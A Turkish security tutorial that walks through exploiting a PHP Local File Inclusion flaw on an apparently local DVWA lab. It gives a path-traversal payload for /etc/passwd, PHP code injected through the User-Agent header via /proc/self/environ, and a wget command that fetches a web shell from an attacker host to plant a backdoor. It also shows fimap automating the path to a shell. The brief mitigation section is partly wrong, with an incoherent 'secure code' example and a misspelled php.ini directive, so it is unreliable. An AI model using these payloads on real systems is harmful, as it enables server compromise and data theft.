Local File Inclusion – LFI
File Inclusion, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır ve kısaca, dosya ekleme olarak tabir edilebilen bir zayıflıktır. Kötü niyetli saldırganın, yerel (local) ve uzaktan (remote) kod çalıştırmasına olanak sağlar.
Local File Inclusion (LFI) : Yerelden dosya ekleyerek kod çalıştırmaktır.
Remote File Inclusion (RFI) : Uzaktan dosya ekleyerek kod çalıştırmaktır.
Bu makalede LFI zafiyeti ele alınmıştır.
PHP web programlama dili ile kodlanmış uygulamalarda, yazılımcıların tanımladıkları değişkene değer atamaması veya atanan değerlerin filtrelenmemesinden kaynaklanmaktadır.
LFI’ı en tehlikeli yapan noktası ise RCE (Remote Code Execution) zafiyetine dönüşmesidir.
LFI zafiyeti içeren örnek bir index.php dosyasının içeriğini inceleyelim:
<?php
include($_GET[‘sayfa’])
?>
Bu kodu kullanan bir web sitesinde, anlaşılan site içerisinde aşağıdaki şekilde bağlantı istekleri oluşturulacaktır:
http://site.com/index.php?sayfa=haberler.php
http://site.com/index.php?sayfa=iletisim.php
En basit görünümüyle böyle bir uygulama, LFI zafiyeti içerir. Nasıl mı?
Dışarıdan bakan bir saldırgan gözüyle, *nix sistemlerde kullanıcı adı ve şifrelerin tutulduğu “/etc/passwd” dosyasına erişmeye çalışalım:
http://site.com/index.php?sayfa=../../../../../../../../../etc/passwd
İsteğin çıktısı:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
…
şeklinde olacaktır.
URL’deki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmamızı sağladı ve sunucudaki /etc/passwd dosyasının içeriğini ekrana yazdırmış olduk.
Saldırgan, LFI zafiyetini keşfetmiş oldu. Ancak, tabi ki bu kadarıyla yetinmeyecektir.
Sunucu tarafında Apache, ziyaretçinin IP adresi, web browser gibi bilgilerini tuttuğu /proc/self/environ dosyası bize bu konuda yardımcı olacaktır.
Şimdi ise bize ışık tutacak bir işleme geçiyoruz. Web browser’ımızın user-agent kısmına <?php phpinfo(); ?> kodunu enjekte edelim bakalım bunu çözümleyip ekrana yansıtacak mı?
Bunun için ben Mozilla Firefox’un Tamper Data eklentisini kullandım, bu işlemi yapabilecek Burp Suite gibi başka proxy yazılımları da kullanabilirsiniz.
Tamper Data açıkken
http://192.168.52.132/dvwa/vulnerabilities/fi/?page=/proc/self/environ isteği yaptığımda çıkan uyarıdaki Tamper butonuna basıp HTTP isteğinde çeşitli değişiklikler yapabilir hale geliyoruz.
User-agent değişikliğini yaptıktan sonra aşağıda görüldüğü gibi sistemde yüklü olan PHP ile ilgili konfigürasyon detaylarını görmüş olduk.
Bu demek oluyor ki kod enjeksiyonu yani RCE başarıyla gerçekleşti. Artık bundan sonra buraya enjekte edeceğimiz asıl kod, “phpinfo()” fonksiyonu gibi masum olmayacak…
Bu sefer user-agent kısmına aşağıdaki kodu yazıyoruz:
<?system(‘wget http://zararlisite.com/shell.txt -O shell.php’);?>
Not: Bu kod ile bize ait olan bir sunucuya *.txt formatında yüklediğimiz ama içinde PHP kodları olan bir web shell’i çağırıp ismini backdoor.php ile bulunduğu dizine kaydettirme işlemi yaptırıyoruz.
Evet, aşağıdaki gibi bir çıktı aldık.
Şimdi de bulunduğumuz dizinde backdoor.php dosyası oluşmuş mu, ona bakalım…
Evet, görüldüğü üzere backdoor.php dosyamız gelmiş.
LFI zafiyetini Apache’deki /proc/self/environ dosyasını exploit (istismar) ederek RCE ile sisteme backdoor yerleştirmiş olduk. LFI zafiyetinin exploit edilmesi sadece bu yöntemle sınırlı değildir, bunun için birkaç farklı yöntem daha vardır ancak en yaygın ve etkin olarak kullanılanı bu bahsettiğimiz yöntemdir.
Korunma Yöntemleri:
1) Kodu Revize Etme
Zayıf Kod:
<?php
include($ornek. ‘../index.php’);
?>
Güvenli Kod:
<?php
$ornek = ‘veri’;
include($ornek. ‘../index.php’);
?>
“ornek” değişkenine tanımlama yaptığımızdan böylece dış verinin girişine izin vermeyeceğiz ve LFI & RFI zafiyeti oluşmamış olacaktır.
2) php.ini
/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptlerinin çalışma fonksiyonlarının etkisiz kalmaları sağlanabilir:
disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice
LFI zafiyetini manuel bir şekilde exploit ettik, bu işi otomatik yapan bir yazılım yok mu? O da var… Bunun için Kali Linux’ta halihazırda yüklü olan Fimap’i kullanacağız.
LFI zafiyetinin olduğunu bildiğimiz veya şüphelendiğimiz URL’yi Fimap’e taraması için veriyoruz.
# fimap –cookie ‘security=low; PHPSESSID=0c069f6ac0fc63276a6174a9aff22b9e’ -u ‘http://192.168.52.132/dvwa/vulnerabilities/fi/?page=include.php’
Not: Bizim hedef sistemimize kullanıcı girişiyle ulaşıldığından dolayı –cookie parametresi kullandık. Eğer sizin hedef sisteminizde taranacak URL’ye kullanıcı girişi yapılmadan ulaşılabiliyorsa –cookie parametresi kullanmadan işlemi gerçekleştirebilirsiniz.
Son olarak
# fimap -x
komutunu veriyoruz.
Bize exploit edeceği domaini soruyor. Fimap’e şu an için bir tane tarattığımız için sadece 192.168.52.132 görünmekte, biz de onu seçiyoruz.
Bu hedef sistem için hangi metodu kullanacağımız sorulmakta, 1 diyoruz.
Sisteme hangi web shell’i yüklemek istediğimizi soruyor bunun için de 1 diyoruz.
Vee Fimap, web shell’i sisteme enjekte ederek bize komut satırı getirdi.
Bir sonraki güvenlik makalemizde görüşmek üzere….